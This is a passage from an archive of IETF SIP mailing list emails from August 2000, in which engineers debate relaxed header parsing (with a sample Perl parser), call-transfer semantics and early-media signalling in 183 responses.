<Bertil.Engelholm@uab.ericsson.se> Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Simplify SIP Message-ID: <20000824123608.I29123@dallas.net> Reply-To: bidulock@dallas.net Mail-Followup-To: Bertil Engelholm <Bertil.Engelholm@uab.ericsson.se>, sip@lists.bell-labs.com References: <65256941.003CBD07.00@sampark.hss.hns.com> <8o289a$v4k$1@lux2.datacom-lab.uab.ericsson.se> <39A4FD44.968F91DB@uab.ericsson.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <39A4FD44.968F91DB@uab.ericsson.se>; from Bertil.Engelholm@uab.ericsson.se on Thu, Aug 24, 2000 at 12:47:32PM +0200 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Bertil, Do you even have a `C' complier on that phone of yours? I suggest you check out the POSIX regex functions which are as good as PERL. No POSIX? Why not get Pete to do it for you on a diode? Pete Cordell wrote: (Fri, 18 Aug 2000 23:49:09) > > An hour - I could do it on a diode in 2 seconds... And where's your > handling of comma separation!!! > [snip] Bertil Engelholm wrote: (Thu, 24 Aug 2000 12:47:32) [snip] > > The third group want the freedom of sending the messages in basically any > way they want. And they also say that it's no problem of parsing the > different formats because a few lines of PERL will fix that. First of all > I'm not shure PERL is available on all small devices that will have to > parse the SIP messages. Secondly I think that when you want to send > things in any way you want you also have to be prepared to receive things > in any way and that only complicates things without any gain at all. In > the telecom world, where I come from, we have limited amount of bandwidth > and processor power but that don't seem to be the case here. If a > product is more expensive than necessary (due to a more powerful > processor or/and more memory) isn't that a problem ? > > Finally I just want to comment the PERL code that Brian F. G. Bidulock > sent in. The code looks nice but you actually managed to prove my point > with your code. You failed to take care of comma separated lists and the > different ways of terminating a header line. So if the canonical form > would have been the only form your code would have worked fine. No, it handled line-folding, which is what I was discussing at the time. It was an example. See another example which does more below: > > So my point is : if you have several optional ways of doing things it's > easy to forget one of them. So thanks Brian for proving my point. > I didn't ``forget one,'' I just showed line folding! I don't know what point you think I helped you prove, 'cause I don't think you have a point. > [snip] Working along on my PERL example, I have added a few features (in 15 minutes), trying ever so hard not too overlook several. #!/usr/bin/perl \$ = "\n"; # add new-line on print undef $/; # read in whole file $msg = <>; ($header, $body) = split(/\r?\n\r?\n/,$msg,2); ($start, $header) = split(/\r?\n/,$header,2); $header =~ s/\r\ni:/\r\nCall-ID:/gi; $header =~ s/\r\nm:/\r\nContact:/gi; $header =~ s/\r\ne:/\r\nContent-Encoding:/gi; $header =~ s/\r\nl:/\r\nContent-Length:/gi; $header =~ s/\r\nc:/\r\nContent-Type:/gi; $header =~ s/\r\nf:/\r\nFrom:/gi; $header =~ s/\r\nt:/\r\nTo:/gi; $header =~ s/\r\ns:/\r\nSubject:/gi; $header =~ s/\r\nk:/\r\nSupported:/gi; $header =~ s/\r\nv:/\r\nVia:/gi; # or the other way around $header =~ s/\r\n\s+/ /g; # handle line folding @headers = split(/(?:^|\r?\n)(\S+?)\s*:\s*/s,$header); shift @headers; for ($i=0;$i<=$#headers;$i=$i+2) { $value = $headers[$i+1]; @parms = split(/(?:^|\s*,\s*)((?:(?:[^,"\\]|\\.)|"(?:[^\\"]|\\.)*")*)/sg, $value); shift @parms; for ($j=0;$j<=$#parms;$j=$j+2) { push @{$headers{lc $headers[$i]}}, $parms[$j]; # lc handles capitalization } } print $start; foreach $k ( keys %headers ) { print $k.' : '.join(" , \n\t",@{$headers{$k}}); } printf "\n".$body; On your original beef list, here are the things that the EXAMPLE handles: Bertil Engelholm wrote: (Fri, 18 Aug 2000 10:56:16) [snip] > > * No short form header fields; Short form fields works. > * Header field names are capitalized as shown in the rfc; Case insensitive. > * No white space between the header name and the colon; Handles whitespace. > * A single space after the colon; Handles multiple spaces. > * Line termination with a CRLF; Handles just LF. > * No line folding; Unfolds lines. > * No comma separated lists of header values; each must appear as a > separate header; Parses out comma separates lists. I'll leave the last three as an exercise to you, Bertil. (Notice that it prints the message back out with spaces all over the place, folding lines, all multiple headers concatenated into comma-separated lists. It can even handle it's own ugly output ;) > * Only a single SP between tokens, between tokens and quoted strings, > and between quoted strings; no SP after last token or quoted string; > * No LWS between tokens and separators, except as described above for > after the colon in header fields; > * The To and From header fields always include the < and > delimiters > even if the display-name is empty. > [snip] Here's my test message: INVITE sip:watson@boston.bell-telephone.com SIP/2.0 Via: SIP/2.0/UDP 169.130.12.5 From: <sip:a.g.bell@bell-telephone.com> To: T. A. Watson <sip:watson@bell-telephone.com> Call-ID: 187602141351@worcester.bell-telephone.com Cseq: 1 INVITE Content-Length: 829 Encryption: PGP version=2.6.2,encoding=ascii,token=" \",yuck", thistoken="Better" hQEMAxkp5GPd+j5xAQf/ZDIfGD/PDOM1wayvwdQAKgGgjmZWe+MTy9NEX8O25Red h0/pyrd/+DV5C2BYs7yzSOSXaj1C/tTK/4do6rtjhP8QA3vbDdVdaFciwEVAcuXs ODxlNAVqyDi1RqFC28BJIvQ5KfEkPuACKTK7WlRSBc7vNPEA3nyqZGBTwhxRSbIR RuFEsHSVojdCam4htcqxGnFwD9sksqs6LIyCFaiTAhWtwcCaN437G7mUYzy2KLcA zPVGq1VQg83b99zPzIxRdlZ+K7+bAnu8Rtu+ohOCMLV3TPXbyp+err1YiThCZHIu X9dOVj3CMjCP66RSHa/ea0wYTRRNYA/G+kdP8DSUcqYAAAE/hZPX6nFIqk7AVnf6 IpWHUPTelNUJpzUp5Ou+q/5P7ZAsn+cSAuF2YWtVjCf+SQmBR13p2EYYWHoxlA2/ GgKADYe4M3JSwOtqwU8zUJF3FIfk7vsxmSqtUQrRQaiIhqNyG7KxJt4YjWnEjF5E WUIPhvyGFMJaeQXIyGRYZAYvKKklyAJcm29zLACxU5alX4M25lHQd9FR9Zmq6Jed wbWvia6cAIfsvlZ9JGocmQYF7pcuz5pnczqP+/yvRqFJtDGD/v3s++G2R+ViVYJO z/lxGUZaM4IWBCf+4DUjNanZM0oxAE28NjaIZ0rrldDQmO8V9FtPKdHxkqA5iJP+ 6vGOFti1Ak4kmEz0vM/Nsv7kkubTFhRl05OiJIGr9S1UhenlZv9l6RuXsOY/EwH2 z8X9N4MhMyXEVuC9rt8/AUhmVQ== =bOW+ Here's the output: INVITE sip:watson@boston.bell-telephone.com SIP/2.0 call-id : 187602141351@worcester.bell-telephone.com content-length : 829 cseq : 1 INVITE encryption : PGP version=2.6.2 , encoding=ascii , token=" \",yuck" , thistoken="Better" from : <sip:a.g.bell@bell-telephone.com> to : T. A. Watson <sip:watson@bell-telephone.com> via : SIP/2.0/UDP 169.130.12.5 hQEMAxkp5GPd+j5xAQf/ZDIfGD/PDOM1wayvwdQAKgGgjmZWe+MTy9NEX8O25Red h0/pyrd/+DV5C2BYs7yzSOSXaj1C/tTK/4do6rtjhP8QA3vbDdVdaFciwEVAcuXs ODxlNAVqyDi1RqFC28BJIvQ5KfEkPuACKTK7WlRSBc7vNPEA3nyqZGBTwhxRSbIR RuFEsHSVojdCam4htcqxGnFwD9sksqs6LIyCFaiTAhWtwcCaN437G7mUYzy2KLcA zPVGq1VQg83b99zPzIxRdlZ+K7+bAnu8Rtu+ohOCMLV3TPXbyp+err1YiThCZHIu X9dOVj3CMjCP66RSHa/ea0wYTRRNYA/G+kdP8DSUcqYAAAE/hZPX6nFIqk7AVnf6 IpWHUPTelNUJpzUp5Ou+q/5P7ZAsn+cSAuF2YWtVjCf+SQmBR13p2EYYWHoxlA2/ GgKADYe4M3JSwOtqwU8zUJF3FIfk7vsxmSqtUQrRQaiIhqNyG7KxJt4YjWnEjF5E WUIPhvyGFMJaeQXIyGRYZAYvKKklyAJcm29zLACxU5alX4M25lHQd9FR9Zmq6Jed wbWvia6cAIfsvlZ9JGocmQYF7pcuz5pnczqP+/yvRqFJtDGD/v3s++G2R+ViVYJO z/lxGUZaM4IWBCf+4DUjNanZM0oxAE28NjaIZ0rrldDQmO8V9FtPKdHxkqA5iJP+ 6vGOFti1Ak4kmEz0vM/Nsv7kkubTFhRl05OiJIGr9S1UhenlZv9l6RuXsOY/EwH2 z8X9N4MhMyXEVuC9rt8/AUhmVQ== =bOW+ -- Brian F. G. Bidulock bidulock@dallas.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 13:47:12 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA21310 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 13:47:12 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B9676443A9; Thu, 24 Aug 2000 13:47:06 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id 6B9DE4433A for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 13:47:03 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id KAA14083; Thu, 24 Aug 2000 10:47:20 -0700 (PDT) Received: from rmahy-home-nt (rmahy-dsl1.cisco.com [10.19.53.122]) by imop.cisco.com (Mirapoint) with ESMTP id AAB37889; Thu, 24 Aug 2000 10:47:00 -0700 (PDT) Message-Id: <4.2.0.58.20000824100722.0385f7b0@lint.cisco.com> X-Sender: rmahy@imop.cisco.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Thu, 24 Aug 2000 10:46:14 -0700 To: Jonathan Rosenberg <jdrosen@dynamicsoft.com> From: Rohan Mahy <rohan@cisco.com> Subject: Re: [SIP] draft-ietf-sip-cc-transfer-00 comments and questions Cc: Brett Tate <brett@broadsoft.com>, SIPbell-labs <sip@lists.bell-labs.com>, rsparks@dynamicsoft.com In-Reply-To: <39A49E2D.640CFF1F@dynamicsoft.com> References: <053b01c00bfd$062fc800$3202a8c0@broadsoft.com> <39A2A100.8665D71A@dynamicsoft.com> <4.2.0.58.20000823172548.00ca8840@imop.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com At 09:01 PM 8/23/00 , Jonathan Rosenberg wrote: >Rohan Mahy wrote: > > > > Hi, > > > > Let me try and rephrase Brett's question. Let's assume the following > scenario: > > > > A sends REFER to B with a Refer-To: <C> > > B sends an INVITE to C with Referred-By: <A> > > > > When C receives an INVITE with a Referred-By header, how does C know > > whether to: > > a) accept this INVITE as a new call, > >This is the case when the Call-ID is unknown. > > > b) accept this INVITE as a replacement for another call leg, or > >I assume you are talking about the now-defunct Replaces: function? I >believe now >that this function is quite a complex one and something that merits much >more discussion >before deciding if its needed. I'm sure folks will want to do things like: Attended transfer Consultative Conference transitioning from a 3-way call to an MCU controlled conference screening voicemail messages etc... I could go on for pages. All these features require a way to take an existing call leg, replace it with another, and keep the old resources (speaker/microphone, DS0, video window, whatever) associated with the new call leg. > > c) accept this INVITE as new party in an existing call ?? > >Known call-id. I don't think this is sufficient. First, I think the existing call-id is better suited for replacement of call legs as described above. Second, from the definition of call, conference, session, and call-id in the bis draft, I have always interpreted this to mean that if A calls B, and B calls C, if you join these two calls together, they need to keep unique call ids. Neither call was invited by a common source, and neither call necessarily has or will use the same session description. from the bis draft: >Call: A call consists of all participants in a conference invited by a >common source. A SIP call is identified by a globally unique call-id >(Section 6.12). Thus, if a user is, for example, invited to the same >multicast session by several people, each of these invitations will be a >unique call. A point-to-point Internet telephony conversation maps into a >single SIP call. In a multiparty conference unit (MCU) based call-in >conference, each participant uses a separate call to invite himself to the MCU. >Conference: A multimedia session (see below), identified by a common >session description. A conference can have zero or more members and >includes the cases of a multicast conference, a full-mesh confer-ence and >a two-party "telephone call", as well as combinations of these. Any number >of calls can be used to create a conference. We need a way to semantically link multiple calls with distinct call-ids. thanks, -rohan > > The semantics aren't well-defined yet. The draft just mentions that you > > can include a call-id in the refer-to or referred-by URL. It doesn't say > > what that would mean or what you should do with it. > >Thats something that needs to be addressed in the bis draft. It needs to >say what it means to receive a call from a different party but with the >same call-ID as an existing call. > >-Jonathan R. >-- >Jonathan D. Rosenberg 72 Eagle Rock Ave. >Chief Scientist First Floor >dynamicsoft East Hanover, NJ 07936 >jdrosen@dynamicsoft.com FAX: (973) 952-5050 >http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 >http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 14:00:09 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA21520 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 14:00:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B43BB443AF; Thu, 24 Aug 2000 13:58:40 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 33B6E443AD for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 13:49:13 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id NAA06719; Thu, 24 Aug 2000 13:49:09 -0400 (EDT) Message-ID: <39A56015.1DB61C1F@cs.columbia.edu> Date: Thu, 24 Aug 2000 13:49:09 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: bidulock@dallas.net Cc: Bertil Engelholm <Bertil.Engelholm@uab.ericsson.se>, sip@lists.bell-labs.com Subject: Re: [SIP] Simplify SIP References: <65256941.003CBD07.00@sampark.hss.hns.com> <8o289a$v4k$1@lux2.datacom-lab.uab.ericsson.se> <39A4FD44.968F91DB@uab.ericsson.se> <20000824123608.I29123@dallas.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Even without regexp, in C or Perl, handling multiple spaces and line folding is a minor inconvenience, on the order of at most a few tens of lines of code and a few extra states in the parser (e.g., for handling "header" and ":" as separate states instead of comparing just "header:"). I'm not sure that robustness would be served by anybody relying on the canonical representation. In some sense, you *want* a significant fraction of the implementations to use non-canonical coding since this makes it much more likely that you'll discover interoperability problems earlier rather than after the beta test period. Finger-pointing at that point is not particularly productive. "You mean you rejected the 911 call since the call had an extra space after the token?" Thus, I don't see what the SHOULD buys you beyond surprises in the field that take far longer to debug than spending a few hours extra on building a robust parser to begin with. All the noises about improved efficiency remain, so far, unproven assertions. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 14:03:57 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA21633 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 14:03:57 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0C813443B3; Thu, 24 Aug 2000 13:59:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bfgbhome.inetint.com (tnt-dal-42-206.dallas.net [209.44.42.206]) by lists.bell-labs.com (Postfix) with ESMTP id 66686443B1 for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 13:58:57 -0400 (EDT) Received: (from brian@localhost) by bfgbhome.inetint.com (8.9.3/8.9.3) id MAA16232; Thu, 24 Aug 2000 12:58:49 -0500 Date: Thu, 24 Aug 2000 12:58:49 -0500 From: "Brian F. G. Bidulock" <bidulock@dallas.net> To: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Cc: Bertil Engelholm <Bertil.Engelholm@uab.ericsson.se>, sip@lists.bell-labs.com Subject: Re: [SIP] Simplify SIP Message-ID: <20000824125849.J29123@dallas.net> Reply-To: bidulock@dallas.net Mail-Followup-To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, Bertil Engelholm <Bertil.Engelholm@uab.ericsson.se>, sip@lists.bell-labs.com References: <65256941.003CBD07.00@sampark.hss.hns.com> <8o289a$v4k$1@lux2.datacom-lab.uab.ericsson.se> <39A4FD44.968F91DB@uab.ericsson.se> <20000824123608.I29123@dallas.net> <39A56015.1DB61C1F@cs.columbia.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <39A56015.1DB61C1F@cs.columbia.edu>; from schulzrinne@cs.columbia.edu on Thu, Aug 24, 2000 at 01:49:09PM -0400 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Henning, Souce code for `formail' might give someone an idea: I haven't seen it munge an e-mail header line or body, ever... It even get's loosey goosey with the Content-Length when given the '-y' flag. It's written in `C', portable to assembler, or diodes, I'm sure! --Brian Henning Schulzrinne wrote: (Thu, 24 Aug 2000 13:49:09) > Even without regexp, in C or Perl, handling multiple spaces and line > folding is a minor inconvenience, on the order of at most a few tens of > lines of code and a few extra states in the parser (e.g., for handling > "header" and ":" as separate states instead of comparing just > "header:"). > > I'm not sure that robustness would be served by anybody relying on the > canonical representation. In some sense, you *want* a significant > fraction of the implementations to use non-canonical coding since this > makes it much more likely that you'll discover interoperability problems > earlier rather than after the beta test period. Finger-pointing at that > point is not particularly productive. "You mean you rejected the 911 > call since the call had an extra space after the token?" > > Thus, I don't see what the SHOULD buys you beyond surprises in the field > that take far longer to debug than spending a few hours extra on > building a robust parser to begin with. > > All the noises about improved efficiency remain, so far, unproven > assertions. > > -- > Henning Schulzrinne http://www.cs.columbia.edu/~hgs -- Brian F. G. Bidulock bidulock@dallas.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 14:22:31 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA21860 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 14:22:30 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B05BB4439E; Thu, 24 Aug 2000 14:22:23 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by lists.bell-labs.com (Postfix) with ESMTP id 480DD4433A for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 14:22:20 -0400 (EDT) Received: from daebh02nok.americas.nokia.com (daebh02nok.americas.nokia.com [172.18.242.183]) by mgw-x2.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e7OILjY20292; Thu, 24 Aug 2000 21:21:46 +0300 (EET DST) Received: by daebh02nok with Internet Mail Service (5.5.2448.0) id <RK728R34>; Thu, 24 Aug 2000 13:21:45 -0500 Message-ID: <E39024226822D311BC880008C77318A1AB7583@oteis01nok> From: Cliff.Harris@nokia.com To: jdrosen@dynamicsoft.com, brett@broadsoft.com Cc: sip@lists.bell-labs.com Subject: RE: [SIP] Remote ringback. Date: Thu, 24 Aug 2000 13:16:04 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Jonathan Rosenberg wrote, among other things, > Someone pointed out that bidirectional audio before > call acceptance doesn't work in ISUP. How, in this case, are > things like > calling card numbers, etc. which require DTMF collection before call > completion, handled? > That someone was me, so I feel compelled to reply. Actually, I mentioned Q.931, not ISUP. I would guess that the same principles apply to ISUP, but I am not an SS7 expert. I believe that Q.931 does allow cut-through audio to be set up during the "overlapped dialing" phase of the call. In this scenario, while the caller is still issuing INFO messages containing the dialed digits, the callee sends a PROGRESS message indicating the presence of cut-through audio. The caller sets up an audio path in the backwards direction only. Note that in this situation, the DTMF digits are being sent in the signalling path, not in the media path. I believe the equivalent in SIP would be for the callee to send a 183 with a "send only" SDP. The caller would use multiple INVITEs to extend the destination address string. Of course, another possibility in Q.931 would be to send a CONNECT message to connect the call and create a two-way audio path, and then listen for DTMF in the audio stream. The equivalent in SIP would be to issue a 200 OK. I'm not sure of all the details of what happens when you make a calling-card call from a pay phone, say. Perhaps someone could address that, although I'm not sure it would be relevant to SIP. Certainly it is true that SIP is not a telephony protocol, and it is not necessarily the case that things in SIP should work the same way they do in PSTN protocols. However, purely from the point of view of semantics, if the purpose of an INVITE is to create a session, and if a full two-way media stream is created before the INVITE transaction is complete, things seem a little wonky: a session has been created, therefore the INVITE transaction should have terminated. All the examples that Brett gave relating to the early two-way media stream involved DTMF collection. In a sense, then, the early two-way media stream is a work-around for not being able to, or not wanting to, send DTMF tones in the signalling path. All that said, I have to admit that there is a certain attraction to having attachments work identically whether in 1xx's or 200's. Still.... It may well be that a given UAC is unwilling or unable to set up a two-way early media path as requested by a UAS. Perhaps it would be worthwhile to specify what the UAC should do in that case: should it set up a one-way media path, or should it refuse to set up any media at all? _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 24 15:48:38 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA23037 for <sip-archive@odin.ietf.org>; Thu, 24 Aug 2000 15:48:38 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id F11FD443AA; Thu, 24 Aug 2000 15:47:52 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ivigate.intervoice.com (ivigate.intervoice.com [208.200.21.196]) by lists.bell-labs.com (Postfix) with ESMTP id 70DBE4433A for <sip@lists.bell-labs.com>; Thu, 24 Aug 2000 15:00:51 -0400 (EDT) Received: from itmail-ict1.wichita.brite.com (itmail-ict1.wichita.brite.com [151.214.5.174]) by ivigate.intervoice.com (Build 98 8.9.3/NT-8.9.3) with ESMTP id NAA27421; Thu, 24 Aug 2000 13:56:21 -0500 Received: by itmail-ict1-imc.wichita.brite.com with Internet Mail Service (5.5.2448.0) id <P5D07Q3N>; Thu, 24 Aug 2000 13:50:00 -0500 Message-ID: <DBD1CC7CE357D211AECC009027158FD1030EAFF6@itmail-ict1-imc.wichita.brite.com> From: "Culpepper, Bert" <bert.culpepper@intervoice-brite.com> To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, Jonathan Rosenberg <jdrosen@dynamicsoft.com> Cc: Brett Tate <brett@broadsoft.com>, Cliff.Harris@nokia.com, sip@lists.bell-labs.com Subject: RE: [SIP] Remote ringback. Date: Thu, 24 Aug 2000 13:49:57 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com I see the use of 183 as a means to have media sent from the UAC to the UAS prior to session establishment (bi-directional early media). RFC2543bis already supports sending media to a UAC if it includes a session description in its INVITE. I don't see sending a 183 as being required if a UAS only wants to send early media, except in the case it wants to stop local ringback. (Which in almost all cases is anytime it wants to send early media.) Otherwise, a 183 sent by a UAS with a session description can indicate what media it will send (IP address = 0.0.0.0 and port = 0 or a=sendonly) as a "courtesy" to the UAC or, what media it is prepared to receive (SDP with non-zero address and port). Anyway, I like the proposal below. It works great for me. It allows pre-call announcements and the ability to receive caller "feedback" at the UAS prior to session establishment. Regards, Bert > -----Original Message----- > From: Henning Schulzrinne [mailto:schulzrinne@cs.columbia.edu] > Sent: Thursday, August 24, 2000 9:29 AM > To: Jonathan Rosenberg > Cc: Brett Tate; Cliff.Harris@nokia.com; sip@lists.bell-labs.com > Subject: Re: [SIP] Remote ringback. > > > Jonathan Rosenberg wrote: > > > > Brett has asked for a clear semantic to the inclusion of SDP in 183. > > Here is my proposal. > > > > To keep ourselves sane, and to simplify life, I would propose that the > > semantics of SDP in 183 be identical to those if the SDP were returned > > in a 200. The difference is only in the call state; 200 OK means the > > call is established, 183 (or any 1xx) means progress. > > > > Based on this rule, SDP in the 183 with a 0.0.0.0 line means that the > > UAS does not want to receive, just send audio. Classic one way cut > > through. SDP in the 183 with a non-zero IP address and port means that > > bidirectional audio is allowed; the UAC should send whatever the user is > > saying. Of course, any good implementation will let the user know that > > this is happening. Someone pointed out that bidirectional audio before > > call acceptance doesn't work in ISUP. How, in this case, are things like > > calling card numbers, etc. which require DTMF collection before call > > completion, handled? > > I don't like this alternative as it makes it impossible for the caller > to send RTCP in response to early media. Instead, > > a=sendonly > > seems like the more appropriate mechanism. (There's also a security > implication: if the UAS sends an IP address, the receiver at least has a > chance of rejecting bogus audio packets as long the attacker can't > intercept the SDP *and* forge IP addresses. Without this, it would be > pretty easy to just send RTP as 'early media' to any local SIP phone, > for example.) > > > > > > This also answers the question about turning off media stream. Same as > > how re-INVITEs work. If you want to turn it off, return an SDP in > > another 1xx with that m line set to port zero. Sending a 1xx later with > > no SDP has the same effect as a re-invite with no SDP (which means no > > change in session state at all). > > > -- > Henning Schulzrinne http://www.cs.columbia.edu/~hgs > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 00:35:34 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA00255 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 00:35:34 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BDD2E4435E; Fri, 25 Aug 2000 00:35:24 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id F00C24433A for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 00:35:21 -0400 (EDT) Received: from dynamicsoft.com (1Cust224.tnt1.freehold.nj.da.uu.net [63.17.113.224]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id AAA08983; Fri, 25 Aug 2000 00:36:51 -0400 (EDT) Message-ID: <39A5F723.7C8909E0@dynamicsoft.com> Date: Fri, 25 Aug 2000 00:33:39 -0400 From: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Cc: Brett Tate <brett@broadsoft.com>, Cliff.Harris@nokia.com, sip@lists.bell-labs.com Subject: Re: [SIP] Remote ringback. References: <E39024226822D311BC880008C77318A1AB757A@oteis01nok> <049e01c00ba3$adadfed0$3202a8c0@broadsoft.com> <39A4BB82.19559938@dynamicsoft.com> <39A52333.A1E79D73@cs.columbia.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Henning Schulzrinne wrote: > > Jonathan Rosenberg wrote: > > > > Brett has asked for a clear semantic to the inclusion of SDP in 183. > > Here is my proposal. > > > > To keep ourselves sane, and to simplify life, I would propose that the > > semantics of SDP in 183 be identical to those if the SDP were returned > > in a 200. The difference is only in the call state; 200 OK means the > > call is established, 183 (or any 1xx) means progress. > > > > Based on this rule, SDP in the 183 with a 0.0.0.0 line means that the > > UAS does not want to receive, just send audio. Classic one way cut > > through. SDP in the 183 with a non-zero IP address and port means that > > bidirectional audio is allowed; the UAC should send whatever the user is > > saying. Of course, any good 